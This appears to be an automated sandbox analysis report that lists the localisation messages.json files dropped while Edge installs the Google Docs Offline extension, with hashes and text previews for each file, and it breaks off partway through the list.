QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4064_1954717725\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
